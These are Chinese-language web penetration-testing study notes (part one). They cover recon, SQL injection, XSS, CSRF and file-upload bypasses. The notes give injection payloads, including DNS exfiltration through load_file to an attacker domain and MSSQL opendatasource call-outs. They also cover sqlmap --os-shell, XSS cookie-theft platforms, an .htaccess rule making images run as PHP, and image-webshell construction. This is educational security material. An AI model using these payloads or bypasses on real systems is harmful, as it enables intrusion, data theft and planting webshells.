每日一句:
仰望星空的时候,不要忘记脚踏实地
本文内容:
1. web通信基础
2. 后端数据库正则
3. 信息收集
4. sql注入
5. XSS
6. CSRF
7. 文件上传
8. 验证码、密码找回漏洞
9. 越权漏洞
10. SSRF
11. 支付漏洞
12. XXE
13. 变量覆盖
14. 文件包含漏洞
15. 序列化
16. Bypass绕过[SQL注入]
17. Bypass绕过[Webshall]
18. 代码审计
一、web通信基础
常用端口:
80端口:http协议、3306端口:Mysql、1433端口:MSSQL、1521端口:oracle、
445端口:共享文件或共享打印机、22端口:ssh、443端口:网页浏览
8080端口:www代理服务、6379端口:redis、3389端口:远程服务协议
21端口:主要用于ftp,文件传输协议
注意:上边均为默认端口--->默认设置(可以改动)
--------------------------------------------------------------------------------------------------------------------------------------
1,IP:
IP地址实际上就是你电脑的地址。
IP存在内网和公网:
内网地址是路由器分配,(唯一,需要前提:局限范围)
查询方式: cmd ipconfig。
公网地址是运营商分配。(唯一)
查询方式: cmd ipconfig ; 浏览器百度 “IP”
2.域名:
实际上就是为了方便记忆所发明的一个字符型表示。
DNS将域名转换为IP的一个协议
DNS解析:浏览器缓存-host文件-路由器-运营商-根服务器(全世界13台)
几级域名几个点.可以这样理解。
3.端口:
端口就像电脑的接口,主要是网络接口。
范围:0-65535(2^16-1)
0端口是预留端口,一般不会用的到
一般一个端口代表着一个电脑服务
4.HTTP协议:
超文本传输协议,是互联网上应用最为广泛的一种网络协议
补充:https = http + ssl(相对安全,ssl简单理解为一种加密协议)
5,cookie:
凭证,代表身份,具有时效性、 注意与session(会话)的关联
6,区分服务器系统:
win:查看路径,路径如果是具有盘符是win。
linux:查看路径,路径如果是//是linux,毕竟macOs做系统还是很罕见的。
路径大小写,敏感是linux,否则是win
7,绝对路径,相对路径
区分:具有盘符是绝对路径。
8,常见Web容器:
IIS(Windows)
Apache(全平台)
Nginx(全平台)
Tomcat
9,GET&POST传参区别:
GET:短小、快速、限制长度
POST:大容量、慢、相对更安全,传参在body
10.CMS意为内容管理系统
实际上就是一个快捷建站的模板,常见的CMS有织梦cms,帝国cms等
11. 动态语言的作用:
动态编辑web页面,改变或添加任何的内容,对html提交的请求或数据进行响应,访问数据或数据库,返回结果,定制不同页面,提高网页安全性
二、后端数据库正则
1,前端语言之间的联系:
html:人的身体
css:人的衣服
js:人的动作
身体、衣服、动作
2,数据库(Mysql):
1.数据库:
就是将大量数据保存起来,通过计算机加工而成的可以高效访问的数据集合。
数据库是长期储存在计算机内、有组织的、可共享的数据集合。
简单说,就是存储数据的仓库
2.常见数据库:Mysql、oracle、Sql Server、Access、DB2等
3.MySql常用语法:
[新建数据库] create database ku_name;
[查看所有数据库] show databases;
[查询当前库名] select database();
[删除数据库] drop database ku_name;
[新建表] create table table_name;
[查看所有数据表] show tables;
[删除表格] drop table table_name;
[查看表的类型] desc table_name;
[删除表里面的字段] alter table table_name drop column_name;
[添加表里面的字段] alter table table_name add column_name column_type;
[修改字段名和属性] alter table table_name change column_name xincolumn_name xincolumn_type;
[查询当前用户] SELESCT USER()或SYSTEM_USER();
[查询数据库版本] SELESCT VERSION();
字段属性:主键:PRIMARY KEY[不能为空且唯一]、自增长:AUTO_INCREMENT、不能为空:NOT NULL 、设置编号CHARSET=UTF-8
[插入数据] INSERT INTO table_name VALUES ('value');
[插入数据] INSERT INTO table_name (column_name) VALUES ('value');
[查询数据] selecr * from table_name;
[查询数据] select column_naem from table_name;
[修改数据] UPDATE table_name SET column_name='修改value'
[修改数据] UPDATE table_name SET column_name='修改value' where column_name= 某条件;
[删除数据] delete from table_name where column_name= value;
4.MySQL的基础查询语句:
select * from 表 order by字段 ASC默认/DESC;
升序(从小到大)ASC;
降序(从大到小)DESC
模糊查询:select * from 表 where username like '%x%'
%:像的意思,类似于通配符
联合查询
表的内容重复不显示:
select * from 表1 UNION select * from 表2;
表的内容重复显示:
select * from 表1 UNION ALL select * from 表2;
注意事项:
两次查询的字段数必须一致。
子查询:当一个查询是另一个查询的条件时,称为子查询。
3,php:
1.什么是PHP?
PHP(超文本预处理器)是一种通用开源脚本语言,(是动态语言中的一种,动态语言还有ASP,ASPX,JSP)
PHP语法吸收了C语言、java和Perl的特点,主要适用于Web开发领域。
PHP是将程序嵌入到HTML文档中去执行,前端代码。
PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。
PHP支持几乎所有流行的数据库以及操作系统。
2.使用场景:
网站需要动态操作的,如注册、登录、查询。
网站需要生成静态文件确保安全的。
需要快速看见效果的项目。
部分游戏服务端,(swoole扩展)。
3.php基础语法:
1.xml风格:<?php 开头,以?>结尾。
2.脚本风格:<script language="php"></script>
3.变量声明(美元符开头,如 $value;)
4.常量声明(define (常量名,常量值))
5.函数调用:必须是用括号将参数包起来,如md5("admin");
4.PHP操作Mysql语句
链接数据库:
mysqli相当于插件,就像是php中的扩展,专门链接Mysql用的
$coon=mysqli_connect("127.0.0.1","root","root","db_name");
127.0.0.1:访问的地址
root 账号
root 密码
db_name 数据库库名
$conn=mysqli_connect("addr","usr","password");
选择数据库:(相当于执行SQL语句的use)
mysqli_select_db($conn,"db_name");
执行SQL语句:
$result = mysqli_query($conn,"SQL");
SQL:SQL语句。
遍历查询结果:
$row=mysqli_fetch_row(); 返回一行
$table=mysqli_fetch_all(); 返回全部内容(一个表)
$row=mysqli_fetch_array($result);
关闭数据库链接:
mysqli_close($conn)
4,表单:
1.什么是表单?
表单在网页中主要负责数据采集。
2.组成:
表单标签:
<form action="URL"method="GET/POST">
action:数据提交到哪里。
method:什么方式提交。
表单按钮
表单域:文本框、密码框、隐藏域、复选框、单选框、文件上传框、多行文本框(文本域)
3.使用场景:
登录框
搜索框
留言框
上传框
……(各种框)
4.验证表单:
是否存在敏感内容 stripos() 、stristr()
stripos:查找字符串首次出现的位置(不区分大小写)
stristr:查找字符串首次出现的位置,并返回其余部分字符串
要求 检测函数 说明
字符串不能为空: strlen() 判断字符串长度是否为0
整数不小于1,不大于100 <= >= 使用大于小于判断整数范围
数组元素3个 count() 判断数据元素个数
必须为数字 is_numeric() 如果为数字返回true否则返回false
必须是数组 is_arrary() 数组返回true,非数组返回false
不能为空 is_null() 为空返回true,否则返回false
isset() 若存在该变量且不为null,则返回true,否则返回false。
5,正则:
1.是什么?
正则表达式:又称规则表达式,在计算机科学的一个概念,
正则表达式通常被用来检索,替换那些符合某个模式(规则)的文本。
2.PHP中正则表达式常用函数:
PHP中使用正则规则一定要加代表正则的标识/ 正则 /
preg_match_all(正则表达式、匹配字符串、匹配到的东西放入数组)
返回匹配的次数。
preg_replace(正则表达式、替换成什么、匹配字符串)
返回替换的结果
注意:替换支持数组格式。
3.正则表达式的语法:
常用转义字符:
数字/非数字:\d \D
空白字符(空格、制表符、换页符等)/非空白字符:\s \S
单词字符(26个英文字母+数字+下划线)/非单词字符:\w \W
字符集合:[单个字符或字符区间],用于匹配集合内字符
如:
[a-z]表示a-z这26个小写字母
[0-9a-z]表示0-9这10个数字和a-z26个小写字母
[135a-h]表示包含数字1,3,5和字母a-h这8个字母
注意:两个不同字符段间请勿使用,隔开。
非集:[^单个字符或字符区间],用于匹配非集合内字符
如:
[^0-9]表示匹配所有非数字字符。
[^a-zA-Z]表示匹配所有非字母字符
关键字:
()和数学一样很像,代表这是一个整体。
^匹配输入字符串的开始位置。
$匹配输入字符串的结尾位置。
.通配符[代表任意字符][不匹配换行]
*匹配0次或者多次
+匹配1次或者多次
\转义字符
|两项之间的一个选择
限定符:
{n} 例如:0{8} 意思是指只有连起来8个0才会匹配。
{n,} 例如:0{2,}意思是只要有2个0及其以上的就会被匹配
{n,m}例如:0{2,4} 意思是最少匹配2个0,最多匹配4个0
注意:被匹配是,默认匹配最多的次数。
修饰符:
/i 不区分大小写
/A 匹配规则必须从头开始匹配
/s .将匹配一切字符
/x 正则表达式中的空白字符会被忽略
/e 代码执行preg_replace() 可以写一句话但是不能连接菜刀
file_put_contents 函数[把字符串写入文件]
file_put_contents(写入文件的地址,写入的文件内容)
正则过滤是主流防护手段,基本过滤各种注入(sql、xss、xxe)
时刻分清楚 代码与数据的界限
三、信息收集
1,信息收集的重要性:
当你收集的信息比别人多且更详细的时候,那么你就掌握了先机。
渗透测试——安全是个水桶效应,安全的高低,取决于最薄弱的点。
2,信息收集的方向:
1.whois:
是什么:
whois是域名注册时留下的信息,如管理员的名字、邮箱、手机号。
whois是查询域名的IP以及所有者等信息的传输协议。
whois是用来查询域名是否已注册,以及注册域名详细信息的数据库(如域名所有人、域名注册商)。
whois是一个在线'请求/响应'式服务。
作用:
域名注册人有可能是网站管理员,可以通过查询、社工、讨论,看他是否注册其他域名,扩大攻击范围。
收集方法:
在浏览器中直接搜索whois,有很多网站可以查询,如站长之家、whois.net。
补充:
对一家公司就行渗透测试,也可以使用天眼查。
撞库:是一种现象,就是怕密码设置太多,记不住,而把所有密码都设置成一样的。
2.子域名:
是什么:
顶级域名下的二级域名、三级域名甚至更多级域名,都是子域名,一些直接用IP访问的Web网站也是子域名的收集范围。
作用:
扩大攻击范围,同一域名下的子域名都属于相同资产,一般而言都有相关的联系。
收集方法:
通过Gooke Hacking语言,进行寻找(爬取搜索引擎)。
通过云悉资产、微步社区。
通过使用工具爆破DNS服务器。
通过网页内蜘蛛爬虫。
通过查询域名证书。
收集工具:
layer子域名挖掘机
3.补充常见域名
com 商业
net 网络服务
org 组织协会
gov 政府
mil 军事
int 国际
edu 教育
cn 中国
3.端口检测:
为什么收集:
有些危险端口开放了,我们就可以尝试入侵。
可以尝试爆破或者利用某些端口存在漏洞的服务。
可能在一台服务器上不同端口,代表不同的Web网站。
同端口,代表同一服务器或者同一内网。
开放端口入侵工具:
3389:MSF(kali自带)
445:九头蛇爆破
21:ftp
收集方法:
使用nmap收集
nmap扫描之后,会给对方服务器留下大量的日志和访问请求。
端口:
端口分为两种:
物理端口:如usb,电脑接口。
逻辑端口:一般是http/ip协议中的端口。
范围:0-65535
端口分类:
周知端口:范围0-1024,众所周知的端口。
注册端口:范围1024-45151,主要是用户选择安装一些应用程序。
动态端口:范围49151-65535,一般不固定分配给某个服务。
nmap:
nmap是一个网络连接端扫描软件,用于扫描网上电脑开放的网络连接端。
nmap功能:
扫描目标网络内活跃的主机。
推测主机操作系统。
检测主机端口。
nmap常用命令:
nmap url/ip 最常用的命令
nmap -p 80 url/ip 自定义想扫描的端口
nmap -p 1-255 url/ip 自定义想扫描的端口范围
nmap -r url/ip 随机扫描端口
nmap -O url/ip 启用操作数据监测
nmap -O -fuzzy url/ip 推测操作系统
nmap -sV url/ip 版本探测
nmap -sV --version -intensity url/ip 设置版本扫描强度(0-9)
nmap -A-T4 url/ip -A结合操作系统检测和版本扫描,T4 时间模板4
4.目录扫描:
为什么收集:
扫描目录可能会得到不同网站、备份文件、路径泄露。
收集方法:
使用御剑、drimap等工具扫描。
作用:
扫出后台,弱密码,撞库。
敏感信息文件下载、数据库备份文件下载。
文件上传,拿最高权限、拿服务器。
状态码:
200 访问成功
302 重定向
403 拒绝访问
404 不存在
5.指纹识别:
是什么:
指纹代表身份,网站指纹=网站特征,比如数据库、中间件、cms。
作用:
cms可能存在通杀漏洞,如果使用cms建站,可以使用通杀漏洞直接攻击。
怎么收集;
站长之家、whatweb、bugscaner
6.旁站:
是什么:
同一个ip上面的多个网站。
为什么要收集:
拿到旁站,如果运气好,和主站在一台机器上,就可以拿到主站,如果运气不好,在一个内网内,可以尝试内网渗透。
收集方法:
站长之家,同ip查询。
在线查询,phpinfo.me/bing.php
CDN:
内容分发网络
cdn:缓存服务器,存储网站的静态资源,提高网站响应速度和用户体验。
绕过:
想要绕过cdn,就要先判断它是否存在CDN,可以使用站长之家,多点ping,看看IP是否相同
找到真实IP方法:
内部邮件源(必须是目标自己的邮件服务器)
子域名:有些网站的主站访问量过大,需要设置CDN,而子站却没有。
国外访问:国内的CDN主要是针对国内用户,国外不好说。
查询域名解析记录:可能目标网站,很久以前没有使用cdn。
7.C段:
确定ip的范围,对段内ip主机进行信息收集。
是什么:
整个ip段,比如x.x.x.1-255
为什么收集:
整个C段,可能同一内网、同一管理、同一份资产。
注意:C段攻击需谨慎,太容易误伤。
收集方法:
站长之家,phpinfo.me/bing.php
8.敏感信息泄露:
通过Gookie Hacking语言,查找敏感内容,如身份证号、账号密码文件等。
谷歌语法:
"" 双引号内容不可拆分。
site: 指定域名
inurl: url内存在的关键网页。
intext: 正文存在的关键字。
intitle: 标题存在的关键字。
filetype: 指定文件类型。
like:域名 所有与域名链接的url。
info: 查找指定目标站点的一些基本信息。
3,空间搜索引擎:
通过网络空间搜索引擎,我们能够找到开放的服务以及在线的网络设备。
常见引擎:
1.钟馗之眼
2.shodan
3.fofa
四、sql注入
1,sql注入的本质:
sql注入的本质是把用户输入的数据当做sql语句执行。
2,sql注入的条件:
~用户能控制输入。
~程序原本执行的代码,拼接了用户输入的数据去执行。
3,sql注入的判断方法:
~and 1=1 和 and 1=2
~id=1 和 id=1'
~id=1 和 id=2-1
~and -1=-1 和and -2=-2 ==对第一条的进阶
~or 1=1 # ==对post传参进行测试
4,sql注入使用的函数:
1.通用:group_concat() 将查询到的信息放置一行输出;
注意与limit n,m的区别
2.报错注入:updatexml(1,concat(0x7e,(database()),0x7e),1)
注意补全不同场景的格式
3.布尔盲注:ascii(substr(database(),1,1))
4.延时盲注:if(ascii(substr(database(),1,1))>x,sleep(5),'a')
5.cookie&偏移注入:document.cookie="id="+escape('xxx')、exists()
在浏览器,F12,控制台输入
6.DNS注入:load_file()
7.MSSQL反弹:opendatasource('sloledb','')
8.ORACEL报错:and 1=ctxsys.drithsx.sn()
5,sql注入的分类:
1.显错注入:本质上没有区别,只是传参位置不同。
GET注入:
直接在url栏目中
POST注入:
常见位置:登录框、查询框、所有和数据库信息有交互的框。
HEAD注入:
php变量存在超全局变量,$_REQUEST、$_GET、$_POST、$_COOKIE、$_SERVER。
本质:一些网站会获取请求头的一些信息,存到数据库,利用这点可以将恶意代码放到请求头中,然后发送给服务器,如果服务器没有验证过滤就将恶意代码执行,就完成了一次head攻击
存到数据库一般是插入语句,插入语句没有回显,可以使用报错和盲注。
报错注入函数:updatexml(1,concat(0x7e,(database()),0x7e),1,)
获取数据的方法:
$_SERVER['HTTP_REFERER'] 获取Referer请求头数据。
$_SERVER['HTTP_USER_AGENT']获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER['REMOTE_ADDR']获取浏览网页的用户IP。
COOKIE注入:
使用场景:使用$_REQUEST[]接收参数,GET、POST传参被拦截。
注入函数:document.cookie="id"+escape()、exists()
更改cookie方法:在浏览器控制台js语句、抓包更改、插件更改。
2.盲注:
使用场景:盲注就是在服务器关闭了错误回显的情况下使用。
布尔盲注:
根据注入的信息返回Ture和False。
布尔盲注函数:ascii(substr(database(),1,1)>x)
时间盲注:
无论注入任何信息都返回Ture,加入特定的时间函数,通过查看Web页面返回时间差来判断注入的语句是否正确。
时间盲注函数:if(ascii(substr(database(),1,1)>x),sleep(5),'a')
使用函数:
length() 返回长度
substr(str,stat,len),截取字符串,str字符串,stat开始位置,len截取长度。
ascii() 返回字符串的ASCII码
sleep() 休眠时间
3.其他:
宽字节注入:
使用场景:在遇到魔术引号时。
魔术引号:就是将单引号、双引号、反斜杠、null等字符前添加转义字符'\'
开关:magic_guotes_gpc。
本质:
使用特殊字符将魔术引号添加的转义字符'\'组合起来,让它失去转义的作用。
数据库编码是非英文就可能产生宽字节注入。
偏移注入:
使用场景: 在sql注入会遇到一些无法获取列名或遇到ACCESS数据库情况下,库表字段名奇葩工具无能为力。
使用函数: document.cookie="id"+escape("xxx")、exists(),就是判断查询是否具有数据。
新颖方法: select admin.* from admin admin.*就是admin表里所有字段。
使用要求: 注入点的表要比查询表的字段数大(前表大于后表)。
MySql-DNS注入:
使用场景: 在某些无法通过漏洞直接获取回显的情况下,但目标可以发送请求,load_file(),读取文件功能开启。
原理: 将select查询的数据发送给一个url,利用dns解析产生的记录日志来查看数据
UNC路径: 通用命名规范、通用规则、通用规定,远程共享文件的一种格式。
使用函数: and(select load_file(concat('//',(select database()),'域名/文件')))、limit n,m
域名注册地址:http://dnslog.cn/
MSSQL-反弹注入:
使用场景: 明明是注入点,却无法进行注入,注入工具猜测异常缓慢,错误提示信息关闭,无法返回注入结果。
原理: 就是把查询出来的数据发送到我们的MSSQL服务器上,然后把数据插入到数据库里面。
使用函数: select opendatasource('sqloledb','server=服务地址;uid=用户;pwd=密码;database=库名').库名.dbo.表名 select * from admin。
MSSQL快速搭建: http://www.webweb.com (香港云) https://bccto.me/ (匿名邮箱)
常用sql语句: dbo.sysdatabases (查询库名) sysobjects where xtype='u' (查询表名) syscolumns where id= 指定sysobjects库中表名对应id值 (查询字段名)。
注意点:
1.联合查询要用union all。
2.猜输出点要用null去填充。
3.注释要使用-- +,-- qwe(不要想着#)。
Oracle-报错&显错注入
核心: 使数据库出错,然后强行丢出一个致命性错误,这个错误信息里面的内容我们可以控制。
使用函数: and 1 = ctxsys.drithsx.sn(1,(select database())),可以使用<>不等于,取后边的数据,语法:and 字段<>记录。
常用sql语句:
1.select * from user_tables 查询出当前用户的表。
2.select * from user_tab_columns 查询出当前用户的字段。
3.select * from all_tables 查询出所有的表。
4.select * from all_tab_columns 查询出所有的字段。
注意:
报错:一行数据、一个字段。
select1,2,3这样的语句oracle是无法执行,需要后跟表名,一般用Dual(虚表),
作用: 为了满足sql语句的结构,为了严谨的语法。
6,sql注入工具的使用:
1.sqlmap:
是应用最广泛的自动化检测,利用sql注入的渗透测试工具,支持多种数据库。
基础命令:
sqlmap -u 指定注入点。
sqlmap -D 指定数据库。
sqlmap -T 指定数据表。
sqlmap -C 指定字段。
sqlmap -r 打开文件。
sqlmap --form 表单。
sqlmap --dbs 跑库名。
sqlmap --tables 跑表名。
sqlmap --columns 跑字段。
sqlmap --dump 跑数据,敏感命令,拓库。
常见指令:
sqlmap --random-agent 选择随机的user_agent。
sqlmap --delay=1 推迟检测速度(防止访问过快被ban)。
sqlmap --level3 检测等级,大于2检测Cookie,大于3检测头注入。
sqlmap --flush-session 清除缓存。
sqlmap --count 查看数据量。
sqlmap --is-dba dba如果的是True,就可以尝试直接拿Webshall。
sqlmap --os-shell 向网站中投入cmdshell,有时候需要web网站的绝对路径,有时候只需要选择好shell的语言类型,就可以拿shell。
2.Burpsuite:
是web应用平台集成工具,包含了许多工具。
简单操作:如何抓包、如何抓返回包、如何单放包且查看返回包。
五、XSS
XSS跨站脚本攻击
CSRF跨站请求伪造
SSRF服务器端请求伪造
1,XSS本质:
XSS的本质是把用户输入的数据当做HTML等前端代码执行。
2,两个关键条件:
1.用户能控制输入。
2.用户输入的数据,拼接了HTML等前端代码,然后去执行。
3,判断方法:
1.标签:<script>alert(1)</script>,将弹窗当做判定。
2.伪协议:JavaScript:alert(1)
3.事件型:常用的有:
onerror(失败加载执行)、
onload(成功加载执行)、
oninput(有输入框、输入的时候触发),onfocus获取焦点
4,分类:
1.反射型XSS:
成功实现的XSS,仅本次访问有效,非持久性。
作用:就是验证是否具有XSS,尽量打出存储型XSS。
2.存储型XSS:
成功实现的XSS,存储数据库,每次访问有效,持久性。
危害:
1.偷取cookie(在那偷那)。
2.获取内网IP
3.获取浏览器保存的明文密码
4.获取网页上键盘记录。
3.Dom型XSS:
Dom型xss攻击与服务器基本没关系,原本不存在XSS,经过js语句处理产生的。
反射型XSS经过js处理变成反射Dom型Xss。
存储型XSS经过js处理变成存储Dom型Xss。
Dom的核心就是操纵document,document的核心就是操纵浏览器
Document对象属性:
body:提供对<body>元素直接访问,对于定义了框架集的文档,该属性引用最外层的<frameset>。
cookie:设置或返回与当前文档有关的所有cookie。
domain:返回当前文档的域名。
lastModified:返回文档被最后修改的日期和时间,可以通过它判断页面是不是伪静态。
referer:返回载入当前文档的文档URL。
title:返回当前文档的标题。
URL:返回当前文档的URL。
Document对象方法:
close():关闭用document.open()方法打开的输出流,并显示选定的数据。
getElementsByid():返回对拥有指定ID的第一个对象的引用。
getElementsByName():返回带有指定名称的对象集合。
getElementsByTagName():返回带有指定标签名的对象集合。
open():打开一个流,以收集来自任何document.write()或documnet.writeln()方法的输出。
write():向文档写HTML表达式或JavaScript代码。
writeln():等同于write()方法,不同的是在每个表达式之后写一个换行符。
document.write():核心在于输出,它可以接收native编码值。它是js语句,js语句会解码某些编码。
编码地址:http://tool.oschina.net/encode?type=3
5,其他:
1.XSS平台:
XSS平台:因为达到各种各样的效果需要比较复杂的代码 xsspt.com(开放注册)xss9.com(需要邀请码),只需要引入一个平台外部链接就可以实现功能了
2.防御手段:
过滤:尖括号、单引号、双引号、
限制输入长度。
特殊符号实体化编码。
3.常见场景:
重灾区:评论区、留言区、个人信息、订单信息,各种与url传参等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等
4.流程:先判断是否存在XSS,如果有,就使用XSS平台生成的代码打。
5.XSS核心:
写的进去:能一字不差的写进去。
输的出来:能一字不差的输出来。
如果一个XSS只能写进数据库了,但是数据库永远不调用,它永远都不会在你的浏览器里显示出来,它永远都没有用。
6.XSS与SQL注入的区别:
1.XSS一定要写的进去,显得出来。
2.SQL注入能写进去,只要执行了就行,回显不重要。
3.sql注入是拼接的sql语句,XSS拼接的是前端代码。
六.CSRF
XSS跨站脚本攻击
CSRF跨站请求伪造
SSRF服务器端请求伪造
1,CSRF(跨站请求伪造):
1.原理:
就是偷偷的发数据,当你访问一个网站,浏览器就会认为你信任那个网站,于是那个网站让它做什么,它都会去做。
核心:(缺乏验证)
2.CSRF与XSS区别:
1.xss是操作目标网站的前端代码 窃取cookie。
2.csrf是在非目标网站的前端代码做手脚,让浏览器偷偷的去访问目标网站,利用Cookie,实际上它是得不到Cookie的,浏览器会自动填充Cookie进行访问数据。
3.危害:
攻击者盗用了你的身份,以你的名义发送恶意请求。
CSRF能够做的事情包括:
以你名义发送邮件,发消息,盗取你的账号、购买商品,虚拟货币转账。
造成的问题包括:
个人隐私泄露以及财产安全。
4.限制:
网站Cookie不能失效,不能具有CSRF防护,得访问目标网站。
5.过程:
自己先构造恶意语句(使用BrupSuite):抓取数据包——右键——Engagement tools——Generate CSRF PoC——将html代码复制下来——保存到html文档中,
骗人点击。
网站没有防护,攻击成功。
6.预防:
可以强行用验证码(强制用户必须和应用进行交互,但是体验性太差)。
请求中加随机Token值(是解决CSRF,现有阶段最好、最有效且最有力的方法)。
Token是一种验证机制,什么是Token值(不同的表单包含一个不同的随机值)。
可以理解为,就是验证码,只不过不用在手工输入了
七、文件上传
1,文件上传:
判断前后端检测:
使用BurpSuite抓包,有数据包为后端,无数据包直接拦截的为前端。
2.分类:
PHP:
前端检测:
白名单:允许上传什么。
黑名单:不允许上传什么。
绕过:
1.关闭js。
2.抓包修改。
后端检测:
白名单:允许上传什么。
00截断:
%00和00就是代表一个结束符。
例如:1.php%00.jpg。
或者抓包在hex中修改
条件竞争:
两个(线程)同时去抢(资源),不知道到底哪个能抢到,此处便形成了竞争。
可以使用BurpSuit去跑,一个疯狂上传,一个疯狂访问。
就是和服务器的删除函数,进行竞争。
黑名单:不允许上传什么。
1.文件后缀类型绕过:
php: php、 phtml、php3、php4、php5
jsp: jap、jspx、jspf
asp: asa、cer、aspx
ext: exee
2. .htaccess文件绕过:
修改配置文件:AddType application/x-httpd-php .jpg
这个指令代表着.jpg文件会当做php解析。
将这句代码放进txt文件,将文件名修改成功.htaccess,然后上传它就可以了。
3.文件后缀大小写绕过。
4.文件后缀(空/空格)绕过。
5.文件后缀(点)绕过。
6.Windows文件流绕过NTFS::$DATA利用windows特性,可在后缀名中加::$DATA 绕过。
7.构造文件后缀绕过,如php..
8.双写文件后缀绕过。如pphphp
ASP:
前端检测:
白名单:允许上传什么。
黑名单:不允许上传什么。
绕过:
1.关闭js。
2.抓包修改。
后端检测:
白名单:
IIS6.0解析漏洞(二)[IIS5.1和IIS7.5无此漏洞]:
在处理含有特殊符号的文件路径时会出现错误,从而造成文件解析漏洞。
a.asp;.jpg 当做asp进行解析。
IIS6.0解析漏洞(三)[IIS5.1和IIS7.5无此漏洞]:
在处理含有特殊符号的文件路径时会出现错误,从而造成文件解析漏洞。
a.asp/123.jpg 它将当做asp进行解析。
请求a.asp/x.jpg的理解:
这相当于构建了一个新的文件夹a.asp,凡是这个文件夹里的文件都会以asp去执行。
黑名单:
IIS6.0解析漏洞(一)[不是漏洞,只是默认配置的问题][适合拿来绕过黑名单机制]:
中间件会将文件后缀名字为.asa .cer .cdx都会当做asp去解析。
本质因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx都会调用asp.dll
解决方法:直接将相应配置删掉即可。
CGI(中间件)解析漏洞:
CGI是什么?
简单的说,可以理解为是web服务器和独立程序之间的管家,
服务器将a类型文件,交给CGI,CGI交给处理a类型文件的程序
如何理解?
当访问www.xx.com/phpinfo.jpg/1.php这个url。
CGI一看是php后缀结尾,便给php程序去执行,
php去找名字为“phpinfo.jpg”的文件夹,没找到,便去找“phpinfo.jpg”的文件,找到后执行。
注意:
仅用于php。
这是一个逻辑问题,所以说我们只需要在正常的.jpg后边加/.php就可以成功绕过解析。
这不是Nginx特有的漏洞,在IIS7.0、IIS7.5等Web容器中也经常会出现这样的解析漏洞。
漏洞本质:少了再次检测的环节
3.其他补充:
1.白名单比黑名单更可靠。
2.图片马的制作
在txt中写一句话木马,
准备一张图片,(注意文件大小,越小越好)
打开cmd输入 copy 1.png/b + 1.txt 123.png
(将a.jpg和1.txt合并为123.jgp, /b的意思就是把它当做二进制去拷贝(注:是效果))
图片马经过二次压缩就失效了
3.gif图片马可以绕过二次渲染
题外话:
本来想放在同一篇文章,但是内容太长了。影响阅读体验,故拆分为两篇,此为上篇。
另外,此内容由好友(小墨)总结,本人感觉不错,整理后分享。
希望大家都能有所收获,多为我国网络信息安全出一份自己的力量。做一个正直的白帽子